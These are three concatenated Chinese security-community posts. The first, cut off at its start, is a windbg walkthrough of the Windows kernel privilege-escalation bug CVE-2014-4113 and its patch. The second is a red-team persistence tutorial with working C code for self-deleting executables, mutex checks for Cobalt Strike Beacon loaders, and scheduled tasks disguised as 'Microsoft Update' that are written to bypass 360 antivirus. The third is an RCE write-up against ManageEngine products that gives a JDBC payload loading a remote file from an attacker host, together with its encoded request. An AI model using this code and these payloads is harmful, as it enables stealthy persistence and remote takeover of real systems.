int __stdcall SfnDWORD(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)
v9[53].Next[12].Next = v8;
ms_exc.registration.TryLevel = -2;
UserSessionSwitchLeaveCrit();
v27 = KeUserModeCallback(2, &v21, 24, &v28, &v29);
当sysexit调用后，内核态和用户态进行了切换。进入用户态，应用层就是我们的钩子内容。
kd> p
Breakpoint 6 hit
001b:00f21600 55 push ebp
实际上，这就是一个钩子之间的调用过程，也是提权漏洞利用过程中一个至关重要的环节。那么接下来，在钩子函数中，我们会利用EndMenu函数销毁窗口，并且返回0xfffffffb，这个过程在很多分析中都有了，下面我们来看看从用户态切换回内核态的过程。
首先销毁窗口后，0xfffffffb会交给eax寄存器，随后进入返回过程。
kd> bp 00251631
kd> g
Breakpoint 1 hit
001b:00251631 b8fbffffff mov eax,0FFFFFFFBh
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
014cf5b4 769dc4e7 000e0240 000001eb 014cf6e4 0x251631
014cf5e0 769dc5e7 00251600 000e0240 000001eb user32!InternalCallWinProc+0x23
014cf658 769d4f0e 00000000 00251600 000e0240 user32!UserCallWinProcCheckWow+0x14b
014cf6b4 76a0f0a3 005be8b0 000001eb 014cf6e4 user32!DispatchClientMessage+0xda
014cf6dc 77106fee 014cf6f4 00000018 014cf7ec user32!__fnOUTDWORDINDWORD+0x2a
我们在应用层通过回溯，可以看到回溯过程中的函数调用，这里单步调试，可以跟踪到连续向外层函数进行返回。也就是不停的执行pop,ret的过程，直到跟踪到user32!_fnOUTDOWRDINDWORD中，我们单步跟踪。
kd> p
user32!__fnOUTDWORDINDWORD+0x2e:
001b:76a0f0a7 5a pop edx
kd> p
user32!__fnOUTDWORDINDWORD+0x2f:
001b:76a0f0a8 8d4df4 lea ecx,[ebp-0Ch]
kd> p
user32!__fnOUTDWORDINDWORD+0x32:
001b:76a0f0ab 8945f4 mov dword ptr [ebp-0Ch],eax
kd> p
user32!__fnOUTDWORDINDWORD+0x35:
001b:76a0f0ae e86171fcff call user32!XyCallbackReturn (769d6214)
在fnOUTDWORDINDWORD中，调用了XyCallbackReturn，再回头看之前关于SendMessage函数异步过程的描述，XyCallbackReturn正是从用户态切换回内核态一个关键函数调用，跟进这个函数，可以观察到调用了int
2B软中断，回归内核态
kd> t
user32!XyCallbackReturn:
001b:769d6214 8b442404 mov eax,dword ptr [esp+4]
kd> p
user32!XyCallbackReturn+0x4:
001b:769d6218 cd2b int 2Bh
这个过程会携带钩子的返回结果，从而到后面执行shellcode，回归内核态之后，来看一下调用到shellcode。
kd> g
Breakpoint 4 hit
win32k!xxxSendMessageTimeout+0x1a9:
967e94f0 ff5660 call dword ptr [esi+60h]
kd> dd esi
fffffffb ???????? ???????? fe9d3dd8 00000000
kd> dd esi+60
0000005b 00f61410 00000000 00000000 00000000
kd> t
00f61410 55 push ebp
Executable search path is:
ModLoad: 00f60000 00f67000 EoP.exe
ModLoad: 770c0000 771fc000 ntdll.dll
ModLoad: 76760000 76834000 C:Windowssystem32kernel32.dll
我们事先在0x5b地址位置分配了0页内存，然后往里存放了一shellcode的地址，这样call esi＋60相当于call
0x5b，从而进入shellcode的内容。
其实在调试漏洞的过程中，钩子的调用是一个很有趣的过程，也是触发这个漏洞的关键，同样，不仅仅是CVE-2014-4113，在很多Windows提权漏洞的利用上，都用到了类似手法，比如CVE-2015-2546等等。
在文章一开始，我提到这个漏洞的关键原因是一处if语句判断不严谨导致的漏洞发生，当结束了这个有趣的调试细节之后，我将通过补丁对比，以及补丁前后的动态调试来看看这个漏洞的罪魁祸首是什么。
**补丁对比与过程分析**
我们安装CVE-2014-4113的补丁，可以看到，补丁后利用提权工具提权后，已经不能获得系统权限。
补丁前：
补丁后：
我们通过BinDiff来分析一下这个补丁前后发生了哪些变化，这时候我们需要通过文章最开始，我们在定位了提权发生的位置之后，通过堆栈回溯的过程看到的函数调用关系，来确定我们应该看看哪些函数发生了变化。
实际上补丁前后大多数函数变化都不大，但是看到xxxHandleMenuMessages中存在一些小变化，跟进这个函数查看对比。
注意对比图下方有一些跳转产生了变化，放大下面这个块的内容。
左侧黄块和这个漏洞无关，可以看到左侧是两个绿色块直接相连，表示直接跳转，而右侧补丁后，则在两个绿块之间增加了一个黄块，观察黄块，其中调用了一个IsMFMWFPWindow函数，这个函数可以通过IDA
pro看到它的作用。实际上就是一个bool函数，用来限制0，－1和－5的情况，下面我们来动态调试分析。
BOOL __stdcall IsMFMWFPWindow(int a1)
{
return a1 && a1 != -5 && a1 != -1;
}
首先是补丁前，会经过一系列的if判断，直接单步跟踪到最关键的一处if判断。
if ( *(_BYTE *)v3 & 2 && v13 == -5 )
kd> p
win32k!xxxHandleMenuMessages+0x54c:
968692c5 f60702 test byte ptr [edi],2
kd> p
win32k!xxxHandleMenuMessages+0x54f:
968692c8 740e je win32k!xxxHandleMenuMessages+0x55f (968692d8)
这个if判断其实是想处理0xfffffffb的情况的，也就是说，当v13的值等于－5，也就是0xfffffffb的时候，会进入if语句，而不会执行将－5传递到下面的SendMessage中，然而这个if语句中的是与运算，也就是说，当前面v3&2不成立的时候，就不会进入if语句了，而动态调试前面是不成立的，直接跳转到后面的if语句判断。
if ( v13 == -1 )
kd> p
win32k!xxxHandleMenuMessages+0x55f:
968692d8 83fbff cmp ebx,0FFFFFFFFh
kd> p
win32k!xxxHandleMenuMessages+0x562:
968692db 750e jne win32k!xxxHandleMenuMessages+0x572 (968692eb)
这就导致了－5被传递到后面的SendMessage，从而导致了后面的代码执行。
kd> p
win32k!xxxHandleMenuMessages+0x572:
968692eb 6a00 push 0
kd> p
win32k!xxxHandleMenuMessages+0x574:
968692ed ff7510 push dword ptr [ebp+10h]
kd> p
win32k!xxxHandleMenuMessages+0x577:
968692f0 68ed010000 push 1EDh
kd> p
win32k!xxxHandleMenuMessages+0x57c:
968692f5 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x57d:
968692f6 e8a202f8ff call win32k!xxxSendMessage (967e959d)
kd> dd esp
8b46fa94 fffffffb 000001ed 0091f92c 00000000
可以看到，当执行SendMessage的时候，第一个参数为0xfffffffb，后续会在SendMessageTimeOut中引发进入Shellcode，这个之前已经提到。
接下我们一起看一下补丁后的调试情况，补丁后，引入了IsMFMWFPWindow函数多做了一个if语句的判断。
kd> r
eax=00040025 ebx=fffffffb ecx=8a8d7a74 edx=8a8d7b74 esi=9765b880 edi=fe5ffa68
eip=9756bf10 esp=8a8d7aa0 ebp=8a8d7ae8 iopl=0 nv up ei ng nz ac pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000297
win32k!xxxHandleMenuMessages+0x570:
9756bf10 53 push ebx
kd> p
win32k!xxxHandleMenuMessages+0x571:
9756bf11 e889b90000 call win32k!IsMFMWFPWindow (9757789f)
可以看到ebx作为参数传入IsMFMWFPWindow，ebx的值为0xfffffffb，而这个值是－5，判断肯定是不通过的，返回false。
kd> p
win32k!IsMFMWFPWindow+0xb:
975778aa 837d08fb cmp dword ptr [ebp+8],0FFFFFFFBh
kd> p
win32k!IsMFMWFPWindow+0xf:
975778ae 740b je win32k!IsMFMWFPWindow+0x1c (975778bb)
kd> p
win32k!IsMFMWFPWindow+0x1c:
975778bb 33c0 xor eax,eax
可以看到ebp＋8判断是否为false，这里是为false的，所以跳转，不执行SendMessage，这样漏洞就被修补了，我们最后来看一下补丁前后的伪代码。
补丁前：
v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
v52 = IsMFMWFPWindow(v13);
……//省略一部分代码
if ( *(_BYTE *)v3 & 2 && v13 == -5 )//key！这里第一个判断不通过
{
xxxMNSwitchToAlternateMenu(v3);
v13 = -1;
}
if ( v13 == -1 )
xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
else
xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);//key！
补丁后：
v29 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);
v50 = IsMFMWFPWindow(v29);
if ( v50 )
{
……
}
else
{
if ( !v29 && !UnicodeString && !(v30 & 0x200) )//了
{
…… }
……
if ( v29 == -1 )
goto LABEL_105;
}
if ( IsMFMWFPWindow(v29) )//Key！！！这里先调用了IsMFMWFPWindows做了一个判断，然后才send
xxxSendMessage((PVOID)v29, -17, UnicodeString, Address);
到此，这个内核漏洞解剖完毕，以前一直觉得内核漏洞很可怕，现在仔细分析之后，其实发现内核漏洞也是很有意思的，仿佛给我开了一扇新的大门，里面有很多有趣的东西值得去探索，分析的时候只要理清逻辑关系，其实会简单好多，文章中如有不当之处还请各位大牛斧正，多多交流，谢谢！ | 社区文章 |
### Window向之权限维持三小技
## 0x0 前言
本文主要以简单、直接的代码方式向读者呈现了一些权限维持的功能代码方面的小技巧。这些小技巧也许很多人(Ex:myself)不知道，但又有可能对此实现有所需要。为了解决这个问题，笔者通过浏览一些资料结合自己的实践，初步整理出这三个功能小技巧，后续可用于穿插于Window权限维持的具体实现程序。
## 0x1 文件自删除
自删除有两个境界:
1.运行完删除自身文件。
2.运行时删除自身文件(*),继续运行。
### 0x1.1 运行end
原理:
> 可执行文件进程新开一个cmd 进程执行del
> 删除可执行文件自身路径，这个执行成功的前提是，当执行command删除命令时，可执行文件进程要先结束，一般来说，可以通过挂起该cmd进程子线程，然后在可执行文件技术部分的最后加入唤醒操作，然后可执行文件进程迅速结束，因为唤醒+执行是慢于进程结束的时间的，一般都可以成功。
缺点:
> 1.编写复杂，行为可疑
>
> 2.通用性差，也不稳定
>
> 3.对红队来说，没啥意义，beacon本身就是loop状态的。
代码实现:
#include <Windows.h>
#include <stdio.h>
int main()
{
// 1.Get current path
wchar_t exePath[MAX_PATH] = { 0 };
GetModuleFileName(NULL, exePath, MAX_PATH);
// 2.Craft command
wchar_t command[128] = { 0 };
wsprintf(command, L"cmd /k del %s", exePath);
printf("\nExecute Command:%ls\n", command);
// 3.Suspend main thread of cmd process
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
BOOL flag = CreateProcess(
NULL,
command,
NULL,
NULL,
FALSE,
CREATE_NO_WINDOW | CREATE_SUSPENDED,// key paramter
NULL,
NULL,
&si,
&pi);
if (!flag) {
printf("CreateProcess Error:%d\n", GetLastError());
exit(0);
}
// 4.Optimize the execute moment
SetPriorityClass(pi.hProcess, IDLE_PRIORITY_CLASS);
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetPriorityClass(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// 5.Wake up thread
if (!ResumeThread(pi.hThread))
{
printf("ResumeThread %d\n", GetLastError());
}
printf("%s\d", "Running Done! check condition by yourself!");
//getchar();
}
效果:
执行完毕，程序自动删除。
### 0x1.2 运行ing
下载文件测试工具filetest
[FileTest application](http://www.zezula.net/download/filetest.zip)
根据[@jonasLyk](https://twitter.com/jonasLyk) 的思路
1.With
delete权限打开运行中的文件，然后修改`FileRenameInformation`的重命名属性值为ADS流名称，这个方式能重命名执行中的文件。
2.重新打开文件，设置`FileDispositionInfo`文件属性`delete`为`true`,这样关闭文件句柄的时候就会自动删除该文件。
3.因为文件名称被修改，所以第二步能绕过锁定成功执行删除掉宿主文件，ADS流文件也会随之消失。
具体过程如图:[https://pbs.twimg.com/media/Er2W8NFXIAAWZ5a?format=png&name=4096x4096](https://pbs.twimg.com/media/Er2W8NFXIAAWZ5a?format=png&name=4096x4096)
* * *
代码参考:<https://github.com/LloydLabs/delete-self-poc>
简化了一些细节，封装为一个函数便以移植，代码实现:
#pragma comment(lib, "Shlwapi.lib")
#include <windows.h>
#include <Shlwapi.h>
#include <stdio.h>
void autoDelete() {
WCHAR wcPath[MAX_PATH];
RtlSecureZeroMemory(wcPath, sizeof(wcPath));
if (GetModuleFileNameW(NULL, wcPath, MAX_PATH) == 0) {
return;
};
HANDLE hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hCurrent == INVALID_HANDLE_VALUE) {
return;
}
// rename handle
FILE_RENAME_INFO fRename;
RtlSecureZeroMemory(&fRename, sizeof(fRename));
LPWSTR lpwStream = (wchar_t*)L":wtforz";
fRename.FileNameLength = sizeof(lpwStream);
RtlCopyMemory(fRename.FileName, lpwStream, sizeof(lpwStream));
BOOL flag = SetFileInformationByHandle(hCurrent, FileRenameInfo, &fRename, sizeof(fRename) + sizeof(lpwStream));
if (!flag) {
return;
}
CloseHandle(hCurrent);
hCurrent = CreateFileW(wcPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hCurrent == INVALID_HANDLE_VALUE) {
return;
}
// set FileDispositionInfo.delete attribute True
FILE_DISPOSITION_INFO fDelete;
RtlSecureZeroMemory(&fDelete, sizeof(fDelete));
fDelete.DeleteFile = TRUE;
BOOL _flag = SetFileInformationByHandle(hCurrent, FileDispositionInfo, &fDelete, sizeof(fDelete));
if (!_flag) {
return;
}
// delete file
CloseHandle(hCurrent);
if (!PathFileExists(wcPath)) {
#ifdef _DEBUG
printf("[LOG] - %ls\n", L"Success, Done!");
#endif // DEBUG
return;
}
}
int wmain(int argc, wchar_t * argv)
{
autoDelete();
getchar();
}
编译的时候选择Debug模式，效果如下:
后面的`getchar()`一样会继续执行。
这种思路可以说很新颖，而且很有用，但是具体的原理，笔者也还尚未清楚，只是说这样测试能够达到预期效果，作为一个Script
Kid已经满足了。师傅们可以去尝试分析下window的锁定机制，然后找找其他方式来达到这种效果，或者分析下这种方式的缺点。
* * *
补充下这一点相关思路:
> C#版本的实现:<https://github.com/klezVirus/SharpSelfDelete>
>
> GO的话建议封装成一个库，直接调用，ex: `winexe.delete()`
>
> 如果这个点有其他的实现方法，欢迎师傅们找我一起交流(学爆)。
## 0x2 互斥体
### 0x2.1 作用
创建互斥体的常见作用就是用于防止程序多开，很多程序都会有这个特点。
回到我们权限维持上面，加载器如果没做互斥体的话，那么单一进程可能会被循环启动，导致上线很多重复的Beacon，比如计划任务执行间隔短、用户多次点击,都会导致出现多个Beacon进程，这样会增加加载器的暴露概率。
### 0x2.2 API函数
使用互斥体，Window提供了两个API函数：
[CreateMutexA](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa)
> Creates or opens a named or unnamed mutex object.
>
> To specify an access mask for the object, use the
> [CreateMutexEx](https://docs.microsoft.com/en-> us/windows/desktop/api/synchapi/nf-synchapi-createmutexexa) function.
HANDLE CreateMutexA(
[in, optional] LPSECURITY_ATTRIBUTES lpMutexAttributes,
[in] BOOL bInitialOwner,
[in, optional] LPCSTR lpName
);
用于创建或者打开一个命名/未命名的mutex对象，一般用法
CreateMutex(NULL, False, "互斥体名称")
第一个参数`lpMutexAttributes` 为 NULL，则互斥对象将获得一个默认的安全描述符。互斥对象的默认安全描述符中的 acl
来自创建者的主令牌或模拟令牌。
第二个参数`bInitialOwner` 如果此值为
TRUE，且调用方创建了互斥对象，则调用线程获得互斥对象的初始所有权。否则，调用线程不会获得互斥对象的所有权。若要确定调用方是否创建了互斥对象，请参见
Return Values 部分。
第三个参数`lpName`，互斥对象的名称，名称比较区分大小写，名称可以有“ Global”或“
Local”前缀，以在全局或会话命名空间中显式创建对象。名称的其余部分可以包含除反斜杠字符()以外的任何字符。如果 lpName
匹配现有事件、信号量、可移植计时器、作业或文件映射对象的名称，则函数失败，GetLastError 函数返回 ERROR _invalid_
handle。这是因为这些对象共享相同的命名空间。
**Return Value**
如果函数成功，返回值是新创建的互斥对象的句柄。
如果函数失败，返回值为 NULL。要获得扩展的错误信息，调用 GetLastError。
[OpenMutexW](https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-openmutexw)
> Opens an existing named mutex object.
HANDLE OpenMutexW(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] LPCWSTR lpName
);
用于打开一个已经存在已命名的互斥体对象，一般用法:
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "互斥体名称");
第一个参数`dwDesiredAccess` 进程访问权限
第二个参数`bInheritHandle` 如果此值为 TRUE，则此进程创建的进程将继承此句柄。否则，进程不会继承此句柄。
第三个参数`lpName`互斥对象的名称。名称比较区分大小写
**Return Value**
如果函数成功，返回值是互斥对象的句柄。
如果函数失败，返回值为 NULL。要获得扩展的错误信息，调用 GetLastError。
如果命名的互斥体不存在，则函数失败，GetLastError 返回 ERROR _file_ not _ found。
### 0x2.3 代码实现
封装为一个`checkMutex`的函数，当然这里互斥体的名称可以考虑作为参数来传递，名称可以考虑复杂和长点。
#include <Windows.h>
#include <stdio.h>
// check mutex object status
bool checkMutex() {
HANDLE hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex");
if (hMutex == NULL) {
CreateMutex(NULL, FALSE, "MyTestMutex");
}
else {
#ifdef _DEBUG
MessageBox(NULL, "Program is already running", 0, 0);
#endif // DEBUG
exit(0);
}
return TRUE;
}
int wmain(int argc, wchar_t* argv) {
checkMutex();
printf("Program is running ......\n");
system("pause");
return 0;
}
打开两个程序，观察效果:
优化思路:
有时候我们觉得一个进程太少，为了解决这个情况，会考虑允许启动两个进程。
bool checkMutex() {
HANDLE hMutex1 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex1");
if (hMutex1 == NULL) {
CreateMutex(NULL, FALSE, "MyTestMutex1");
return TRUE;
}
HANDLE hMutex2 = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyTestMutex2");
if (hMutex2 == NULL) {
CreateMutex(NULL, FALSE, "MyTestMutex2");
return TRUE;
}
else {
#ifdef _DEBUG
MessageBox(NULL, "Program is already running", 0, 0);
#endif // DEBUG
exit(0);
}
}
进一步可以优化控制成动态获取进程同时执行的数目，比如设置成读取某个目录下的文件内容、环境变量的值，访问某个高信誉的网站提取留言内容等等多种手段。
## 0x3 重启上线
重启上线有很多种思路，比如放入启动目录、注册服务、劫持DLL等等...
但是重启上线ByPass 360 可能存在一些小困难(实际上非常简单，浅显的方法试试就知道)，这里以大家都熟知的计划任务来达到Bypass 360的目的。
WIndow计划任务的功能用于定时执行执行一些任务，打开`控制面板\系统和安全\管理工具`,找到任务计划程序
重启上线的话可以选择触发器: **计算机启动时(H)**
在GUI界面上操作，360是不拦截的，可以正常添加计划任务`Hello`，不过我测试的时候发现，这个因为卡在开启启动边界，可执行文件不会运行成功，需要增加延时时间再执行。
### 0x3.1 常规用法
比较常规的用法就是利用`schtasks.exe`
查看用法Help
schtasks /Create /?
SCHTASKS /Create [/S system [/U username [/P [password]]]]
[/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
[/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
一般用法形式:
schtasks /create /tn PentestLab /tr "cmd /c whoami" /sc onstart /ru System
`/RU` 指定运行权限
`/TN` 指定任务名称，一般用名称
`/TR` 运行程序路径
`/sc` 指定计划任务频率，主要5个情况可用，`ONSTART` `ONIDLE` `ONLOGON` `DAILY` `MINUTE`
`/delay` 延迟任务执行时间
常用命令:
# 计算机启动后，延迟1分钟执行,这个时间实际上可以放长点。
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onstart /ru System /delay 0001:00
# 闲置30分钟后执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onidle /i 30 /ru System
# 任意用户登录后执行
schtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc onlogon /ru System
# 每天晚上3点执行
chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc daily /st 03:00
# 每隔20分钟执行一次
chtasks /create /tn "Microsoft Update" /tr "cmd /c whoami" /sc minute /mo 20
上面这些命令，在Cobalt Strike命令行下执行，360会直接Ban掉的，一般很少使用，主要是了解下功能用于后面的底层调用代码实现。
### 0x3.2 代码实现
代码参考:<https://docs.microsoft.com/en-us/windows/win32/taskschd/boot-trigger-example--c--->
笔者主要做了一些改动和参数定义，关于优化和CS插件的具体实现还是希望各位去锻炼下动手能力。
/********************************************************************
This sample schedules a task to start Notepad.exe 30 seconds after
the system is started.
********************************************************************/
#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
// Include the task header file.
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain()
{
// ------------------------------------------------------ // Initialize COM.
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Set general COM security levels.
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
// ------------------------------------------------------ // Create a name for the task.
LPCWSTR wszTaskName = L"Window Microsoft Update";
// Get the Windows directory and set the path to Notepad.exe.
wstring wstrExecutablePath = L"cmd /c whoami";
// Create an instance of the Task Service.
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
// Connect to the task service.
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
// Get the pointer to the root task folder.
// This folder will hold the new task that is registered.
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
// If the same task exists, remove it.
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
// Create the task builder object to create the task.
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release(); // COM clean up. Pointer is no longer used.
// ------------------------------------------------------ // Get the registration info for setting the identification.
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author(_bstr_t(L"xq17"));
pRegInfo->Release();
// Create the settings for the task
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
if (FAILED(hr))
{
printf("\nCannot get settings pointer: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
// Set setting values for the task.
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
// ------------------------------------------------------ // Get the trigger collection to insert the boot trigger.
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
// Add the boot trigger to the task.
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_BOOT, &pTrigger);
pTriggerCollection->Release();
IBootTrigger* pBootTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_IBootTrigger, (void**)&pBootTrigger);
pTrigger->Release();
hr = pBootTrigger->put_Id(_bstr_t(L"Trigger1"));
// Delay the task to start 30 seconds after system start. *
hr = pBootTrigger->put_Delay(_bstr_t(L"PT30S"));
pBootTrigger->Release();
// ------------------------------------------------------ // Add an Action to the task. This task will execute Notepad.exe.
IActionCollection* pActionCollection = NULL;
// Get the task action collection pointer.
hr = pTask->get_Actions(&pActionCollection);
// Create the action, specifying it as an executable action.
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
IExecAction* pExecAction = NULL;
// QI for the executable task pointer.
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
pAction->Release();
// Set the path of the executable
hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
pExecAction->Release();
// ------------------------------------------------------ // Save the task in the root folder.
IRegisteredTask* pRegisteredTask = NULL;
VARIANT varPassword;
varPassword.vt = VT_EMPTY;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(L"Local Service"),
varPassword,
TASK_LOGON_SERVICE_ACCOUNT,
_variant_t(L""),
&pRegisteredTask);
printf("\n Success! Task successfully registered. ");
// Clean up.
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
使用效果:
如果直接执行命令会被360拦截。
编译的release版本360无提示秒过。
查看计划任务列表，可以看到成功Bypass 360添加。
* * *
关于这个重启上线的思路有非常多，但是还是希望大家根据网上的想法去动手尝试，成功后不建议直接传播现成利用,emmm，意义不大。至于计划任务除了进一步优化代码的可用性之外，还可以考虑进一步实现计划任务的隐藏，比如删除注册表的index值来隐藏,win7以上的系统则可以进一步删除sid来实现完全隐藏，这些在Github上也有代码实现，但是这部分还是不够简单易用，普适性也可能在一些系统出现问题，还有就是不够全面，emmm，自己动手丰衣足食。
## 0x4 总结
本文内容较为简单直接，主要是围绕三个常用的小技巧来展开介绍，这三个小技巧在本文尚未chain起来，读者可以结合实际的攻防场景，将其融合定制出个性鲜明的ShellCodeLoader,于此同时，读者也可以尝试根据这三个小技巧进行更为深入的学习和利用拓展，这也是笔者后续的一个方向，但是还是希望集思广益，共同进步。
## 0x5 参考链接
[Self Deleting Executables](https://www.codeproject.com/Articles/17052/Self-Deleting-Executables)
[ring0层下实现的文件强制删除](https://www.writebug.com/git/codes?owner=Demon-Gan-123&repo=ring0-irp-force-delete)
[C语言防止程序多开：创建互斥体](https://blog.csdn.net/Rabbit_Gray/article/details/120422178)
[Windows计划任务的进阶](https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html)
[Persistence – Scheduled
Tasks](https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/)
[windows 计划任务隐藏新姿势分享](https://paper.seebug.org/1464/) | 社区文章 |
> 前言
> 自述：离开北京前，真希望能找到自己认为最有价值的漏洞。前路迷茫
> MangaeEngine的产品，我觉得是我做审计这么久时间，第三方库管理做得比较好的。主要是很多产品的架构十分统一，我就不扯皮了。直接上干货。
## 复现的基本环境
M365 Security Plus等一些多节点的产品均有！
## 业务情况
/servlet/ADSHACluster这个接口中有一个很敏感的代码
这段代码进去之后就是常见的JDBC连接了。
但是如果你觉得此时就直接RCE的话，那也太小看这家产品了。搜寻数据库驱动时，你会发现MangeEngine的产品基本都是Postgresql的。搜了一下大部分产品的jar包，可以看到都是存在漏洞版本的
然后你去了解Postgresql的漏洞时，你会两眼犯困，因为现存的攻击链，都是以spring相关的jar为起始，通过Spring启动类加载恶意bean的方式，在ManageEngine的产品里是发现不了spring的相关依赖。我搜寻了不少的利用链，发现还有Weblogic的相关的jar包利用方式<https://tttang.com/archive/1462/#toc_c-weblogic-server>
，但是，ManageEngine和weblogic能有什么关系？
## 分析
这是一个网安的基本素质了。自己给自己找路子！现在要思考postgresql能RCE的核心是什么，才能继续研究挖掘
其实复现的时候已经能看出来了，那就是反射创建一个任意的对象时，通过一个String类型的构造参数创建对象。
类似于以下形式
new File("");
new URL("");
但是大部分类如果只是通过这种形式创建的话，根本不可能RCE的。需要找到新的锲约。我在本地找了大量的类，发现都无法通过一个String类型的构造函数一次性RCE。这让我百般痛苦！幸运的是，我疯狂的思考终于找到了答案！
### cs事件
CVE-2022-39197 cs的xss可以RCE的根本原因是使用了Apache batik。而batik复现使用的POC非常有意思
new JLabel("<html>" +
"<object classid=\"org.apache.batik.swing.JSVGCanvas\"><param name=\"URI\" value=\"http://127.0.0.1:6565/test.txt\"></object>");
这个类一旦创建，就会远程加载一个恶意的文件，文件里面可以控制服务器去加载一个恶意的jar包。
<https://xz.aliyun.com/t/11815>
。相关链接已经给出来了。我就不重复造轮子了。
惊喜的事情发现了，我在ManageEngine多款产品中发现了这个神奇的组件
当然，截图中的已经是修好补丁的样子了。至少之前是1.14的（漏洞版本）
### EXP的构造
此时环境已经具备开始吧!（个人已上传github:<https://github.com/Kyo-w/ManageEngineRce）>
postgresql JDBC的参数如下
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>
环境走起来
此时，完美地实现了RCE。
## 移植到接口的请求
既然本地已经完成了RCE。需要到接口爽一下了
" {\"DB_PROP\": {\"url\":\"jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=javax.swing.JLabel&socketFactoryArg=<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://192.168.2.1:6565/test.txt'></object>\",\"drivername\":\"org.postgresql.Driver\",\"username\":\"\",\"password\":\"\"}}"
这是原始的JDBC请求包，在进入JDBC接口前，代码会做一次base64，因此需要做一个base64加密
eyJEQl9QUk9QIjp7InVybCI6ImpkYmM6cG9zdGdyZXNxbDovLzEyNy4wLjAuMTo1NDMyL3Rlc3QvP3NvY2tldEZhY3Rvcnk9amF2YXguc3dpbmcuSkxhYmVsJnNvY2tldEZhY3RvcnlBcmc9PGh0bWw+PG9iamVjdCBjbGFzc2lkPSdvcmcuYXBhY2hlLmJhdGlrLnN3aW5nLkpTVkdDYW52YXMnPjxwYXJhbSBuYW1lPSdVUkknIHZhbHVlPSdodHRwOi8vMTkyLjE2OC4yLjE6NjU2NS90ZXN0LnR4dCc+PC9vYmplY3Q+IiwiZHJpdmVybmFtZSI6Im9yZy5wb3N0Z3Jlc3FsLkRyaXZlciIsInVzZXJuYW1lIjoiIiwicGFzc3dvcmQiOiIifX0=
当然，这样发过去依然不行，这是比较坑的点，我一直没注意base64经过tomcat请求后，数据会被破坏，这里需要再次经过一次URL编码去保护base64的原始数据
